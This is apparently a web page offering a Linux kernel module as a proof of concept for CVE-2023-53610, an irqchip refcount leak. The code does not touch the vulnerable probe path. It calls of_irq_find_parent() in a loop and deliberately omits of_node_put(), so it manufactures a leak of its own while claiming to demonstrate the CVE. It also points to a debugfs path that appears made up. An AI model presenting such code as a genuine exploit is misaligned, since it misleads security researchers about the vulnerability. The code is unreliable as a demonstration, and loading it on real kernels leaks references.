CVE-2023-53610 Linux内核irqchip引用计数泄漏漏洞

/* * CVE-2023-53610 PoC - Linux Kernel irqchip refcount leak * This PoC demonstrates triggering the refcount leak in platform_irqchip_probe * by repeatedly loading and unloading a platform device that uses irqchip. * * Note: Requires root privileges and kernel headers to compile. */ #include <linux/module.h> #include <linux/platform_device.h> #include <linux/of.h> #include <linux/of_irq.h> #include <linux/interrupt.h> #include <linux/slab.h> MODULE_LICENSE("GPL"); MODULE_AUTHOR("Security Researcher"); MODULE_DESCRIPTION("PoC for CVE-2023-53610 irqchip refcount leak"); static int irqchip_probe_trigger(struct platform_device *pdev) { struct device_node *np = pdev->dev.of_node; struct device_node *parent; if (!np) return -ENODEV; /* * Call of_irq_find_parent() which increments refcount on returned node. * In vulnerable kernel, the missing of_node_put() causes refcount leak. * Repeat this call many times to accumulate leaked references. */ parent = of_irq_find_parent(np); if (!parent) { dev_err(&pdev->dev, "Failed to find IRQ parent\n"); return -EINVAL; } /* Intentionally do NOT call of_node_put(parent) to trigger leak */ /* of_node_put(parent); */ dev_info(&pdev->dev, "IRQ parent found (refcount leaked)\n"); return 0; } static int poc_probe(struct platform_device *pdev) { int i; int ret; /* Trigger the vulnerable code path multiple times */ for (i = 0; i < 1000; i++) { ret = irqchip_probe_trigger(pdev); if (ret < 0) return ret; } return 0; } static const struct of_device_id poc_of_match[] = { { .compatible = "arm,cortex-a9-gic", }, /* Example compatible string */ {}, }; MODULE_DEVICE_TABLE(of, poc_of_match); static struct platform_driver poc_driver = { .probe = poc_probe, .driver = { .name = "poc_irqchip_leak", .of_match_table = poc_of_match, }, }; module_platform_driver(poc_driver); /* * Compilation: * Make this as an out-of-tree kernel module. * Place a compatible device tree node or use an existing platform device. * * Usage: * insmod poc_irqchip_leak.ko * # Check /sys/kernel/debug/refcount_debug or kernel logs for leak warnings * rmmod poc_irqchip_leak */